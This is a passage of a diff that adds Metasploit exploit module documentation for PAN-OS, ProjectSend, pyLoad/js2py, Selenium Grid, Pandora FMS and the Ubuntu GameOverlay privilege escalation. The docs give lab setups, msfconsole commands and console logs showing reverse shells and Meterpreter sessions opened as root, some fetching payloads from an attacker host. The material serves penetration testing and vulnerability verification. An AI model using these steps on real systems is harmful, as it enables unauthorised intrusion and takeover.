exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1 +target => 1 +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora +password => pandora +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing Unix/Linux Command for cmd/unix/reverse_bash +[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000 +[+] Payload is successful removed from LDAP configuration. + +pwd +/var/www/html/pandora_console +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +uname -a +Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux +``` + +## Limitations +In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect +to the MySQL database with the default database credentials. +This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`. +You can check this with the SQL command below if you have local access to the database. +``` +SELECT host FROM mysql.user WHERE user = "pandora"; ++-----------+ +| host | ++-----------+ +| 127.0.0.1 | +| localhost | ++-----------+ +``` +In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database. diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md new file mode 100644 index 000000000000..29a2bb0bdbc6 --- /dev/null +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -0,0 +1,113 @@ +## Vulnerable Application +This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection +vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can +execute arbitrary code with root privileges. + +The following versions are affected: + * PAN-OS 11.2 (up to and including 11.2.4-h1) + * PAN-OS 11.1 (up to and including 11.1.5-h1) + * PAN-OS 11.0 (up to and including 11.0.6-h1) + * PAN-OS 10.2 (up to and including 10.2.12-h2) + +## Testing +Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example +`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter +will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup +by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully +run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed +to change this upon logging in for the first time. + +The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the +payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`, +and `cmd/unix/reverse_bash`. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/http/panos_management_unauth_rce` +3. `set RHOST ` +4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +5. `set LHOST eth0` +5. `set LPORT 4444` +6. `check` +7. `exploit` + +## Options + +### WRITABLE_DIR +The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the +payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted. + +## Scenarios + +### Default + +``` +msf6 exploit(linux/http/panos_management_unauth_rce) > show options + +Module options (exploit/linux/http/panos_management_unauth_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target. + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/panos_management_unauth_rce) > check +[+] 192.168.86.100:443 - The target is vulnerable. +msf6 exploit(linux/http/panos_management_unauth_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Uploading payload chunk 1 of 7... +[*] Uploading payload chunk 2 of 7... +[*] Uploading payload chunk 3 of 7... +[*] Uploading payload chunk 4 of 7... +[*] Uploading payload chunk 5 of 7... +[*] Uploading payload chunk 6 of 7... +[*] Uploading payload chunk 7 of 7... +[*] Amalgamating payload chunks... +[*] Executing payload... +[*] Sending stage (3045380 bytes) to 192.168.86.100 +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.100 +OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md new file mode 100644 index 000000000000..9511e2ee287a --- /dev/null +++ b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md @@ -0,0 +1,114 @@ +## Vulnerable Application +ProjectSend is a web application used for sharing files with clients. + +Due to POST parameters being executed before checking user permissions, +it is possible to perform a series of actions that can result in unauthenticated Remote Code Execution (RCE) +on vulnerable versions of ProjectSend. + +This module has been tested against ProjectSend versions r1295 through r1605 on Linux. + +The easiest way to obtain a vulnerable version of ProjectSend is by deploying it using Docker, as pre-made images exist for the software. +The following Docker Compose file can be used to set up a vulnerable environment. + +``` +--- + services: + projectsend: + image: lscr.io/linuxserver/projectsend:version-r1605 + container_name: projectsend + environment: + - PUID=1000 + - PGID=1000 + - TZ=Etc/UTC + - MAX_UPLOAD=5000 + volumes: + - ./projectsend/config:/config + - ./projectsend/data:/data + ports: + - 80:80 + restart: unless-stopped + db: + image: mariadb + restart: unless-stopped + container_name: db + volumes: + - ./mariadb_data:/var/lib/mysql + environment: + MYSQL_ROOT_PASSWORD: password + MYSQL_DATABASE: projectsend + MYSQL_USER: projectsend + MYSQL_PASSWORD: projectsend +``` +After launching the containers, ProjectSend requires an initial configuration, +which can be completed by accessing it via port 80 on localhost. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/projectsend_unauth_rce` +4. Set remote hosts: `set RHOSTS ` +5. Set remote port: `set RPORT ` +6. Set the path to ProjectSend: `set TARGETURI ` +7. Set local host: `set LHOST ` +8. Do: `run` +9. You should get a shell + +``` +msf6 exploit(linux/http/projectsend_unauth_rce) > options + +Module options (exploit/linux/http/projectsend_unauth_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The TARGETURI for ProjectSend + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.20 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 PHP Command +``` + +## Options +N/A - Only default options. + +## Scenarios +``` +msf6 exploit(linux/http/projectsend_unauth_rce) > run + +[*] Started reverse TCP handler on 192.168.1.20:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[+] Client registration successfully enabled +[+] User alvin.padberg created with password lrASo3iM +[*] Disabling upload restrictions... +[*] Logging in as alvin.padberg... +[+] Logged in as alvin.padberg +[+] Successfully uploaded PHP file: sX1A4FCH.php +[*] Sending stage (39927 bytes) to 192.168.1.20 +[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.20:56675) at 2024-09-23 19:01:29 +0200 +[*] Logging in as alvin.padberg... +[+] Logged in as alvin.padberg +[+] Client registration successfully disabled +[*] Enabling upload restrictions... + +meterpreter > sysinfo +Computer : 1480205e55c2 +OS : Linux 1480205e55c2 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64 +Meterpreter : php/linux +``` diff --git a/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md new file mode 100644 index 000000000000..14df3d228275 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md @@ -0,0 +1,147 @@ +## Vulnerable Application +CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate +javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference +to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions +and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 +is the latest version of js2py which was released Nov 6, 2022. + +CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source +download manager designed to automate file downloads from various online sources. Pyload is vulnerable because +it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. +This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we +can bypass this restriction in order to access the API to achieve unauth RCE. + +## Verification Steps + +1. Start a vulnerable instance of pyLoad using docker +2. Start msfconsole +3. Run: `use exploit/linux/http/pyload_js2py_cve_2024_39205` +4. Set the `RHOST`, `LHOST` `PAYLOAD` and payload associated options +5. Run: `run` + +### Docker Setup + +``` +docker run -d \ + --name=pyload-ng \ + -e PUID=1000 \ + -e PGID=1000 \ + -e TZ=Etc/UTC \ + -p 8000:8000 \ + -p 9666:9666 \ + --restart unless-stopped \ + lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85 +``` + +## Scenarios +### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74) +``` +msf6 > use linux/http/pyload_js2py_cve_2024_39205 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options + +Module options (exploit/linux/http/pyload_js2py_cve_2024_39205): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9666 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Base path + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 172.16.199.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Successfully tested command injection. +[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending stage (3045380 bytes) to 172.16.199.1 +[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800 + +meterpreter > getruid +[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details. +meterpreter > getuid +Server username: abc +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : (Linux 6.10.11-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74) +``` +msf6 > use linux/http/pyload_js2py_cve_2024_39205 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1 +target => 1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Successfully tested command injection. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045380 bytes) to 172.16.199.1 +[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56088) at 2024-11-12 15:48:42 -0800 +[*] Command Stager progress - 100.00% done (823/823 bytes) + +meterpreter > getuid +Server username: abc +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : (Linux 6.10.11-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md new file mode 100644 index 000000000000..21f9f50ea2cd --- /dev/null +++ b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md @@ -0,0 +1,112 @@ +## Vulnerable Application + +Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types +such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. + +The vulnerability affects: + + * Selenium Server (Grid) before 4.0.0-alpha-7 + +This module was successfully tested on: + + * selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04 + * selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 + + +### Installation + +1. `docker pull selenium/standalone-chrome:3.141.59` + +2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04 +``` +msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options + +Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 4444 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable. +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.5 +OS : Ubuntu 20.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected. +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.6 +OS : Ubuntu 18.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md new file mode 100644 index 000000000000..30d2d7ddc4cc --- /dev/null +++ b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md @@ -0,0 +1,167 @@ +## Vulnerable Application + +Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) +allows CSRF because it permits non-JSON content types +such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. +At least, the number of sessions must be fewer than maxSessions for the exploit to succeed. + +The vulnerability affects: + + * Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) + +This module was successfully tested on: + + * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 + + +### Installation + +1. `docker pull selenium/standalone-firefox:3.141.59` + +2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options +### TIMEOUT (required) + +This is the amount of time (in seconds) that the module will wait for the payload to be +executed. Defaults to 75 seconds. + + +## Scenarios +### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 +``` +msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options + +Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 4444 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TIMEOUT 75 yes Timeout for exploit (seconds) + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME NnnZmAGfjJoa no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable. +[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922). +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900 +[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Ubuntu 20.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827). +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900 +[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.3 +OS : Ubuntu 18.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). +[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900 +[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.4 +OS : Ubuntu 20.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (1657b5ac-c514-431f-8c83-761c14012869). +[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900 +[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.5 +OS : Ubuntu 24.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/local/gameoverlay_privesc.md b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md new file mode 100644 index 000000000000..0630406fe0ca --- /dev/null +++ b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md @@ -0,0 +1,157 @@ +## Description + +CVE-2023-2640 and CVE-2023-32629 are vulnerabilities that allow for the arbitrary setting of +capabilities while overlaying filesystems. On most Linux Kernels during the execution of + `ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a +way that limits them to the current namespace. However, on some versions of the Ubuntu kernel + `_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`. + +When a new namespace is created the user will technically be "root" within that given +namespace. This module will take advantage of this by setting the `CAP_SETUID` capability +on a system binary. It will then perform filesystem overlay, copying the binary into the lower +directory. Because of the flaws described above when the binary is transferred into the upper +directory its capabilities will not be sanitized and persist in the "normal" namespace. + +## Vunerable Application + +These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases +and kernel versions, as described in the list below. + +Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629) + +Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629) + +The user can download a vulnerable version, for example: + +``` +sudo apt update +sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic +reboot +``` +While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically. +Be sure to take the system offline to prevent the vulnerabilities from silently being patched. + +This module has successfully been tested on the following: + +Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic + +Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws + +## Verification Steps + +1). Start `msfconsole` + +2). Get a session on a vulnerable system + +3). Use `exploit/linux/local/gameoverlay_privesc` + +4). Optional: choose target for payload, either linux binary (0) or [li|u]nix command (1) +`set target 1` + +5). Set session `set session [SESSION]` + +5). Do. `run` + +6). You should get a new session running as root. + +## Options + +### Payload File Name +Name of the file storing the payload, default is random. + +### Writable Dir +The name of a directory with write permissions, default is `/tmp`. This will be where the +payload file will be created if necessary. Additionally during the exploit a series of directories will be +created here to perform the filesystem overlaying. + +## Scenarios + +You have a non-root session on one of the systems described above. Please note that this +module will automatically run checks to determine if the system is vulnerable, you can disable +this with `set AutoCheck False`. + +``` +msf6 exploit(linux/local/gameoverlay_privesc) > +[*] Sending stage (3045380 bytes) to 10.5.132.129 +[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600 + +msf6 exploit(linux/local/gameoverlay_privesc) > set session 3 +session => 3 +msf6 exploit(linux/local/gameoverlay_privesc) > show options + +Module options (exploit/linux/local/gameoverlay_privesc): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PayloadFileName pSueaCXrnzH yes Name of payload + SESSION 3 yes The session to run this module on + WritableDir /tmp yes A directory where we can write files + + +Payload options 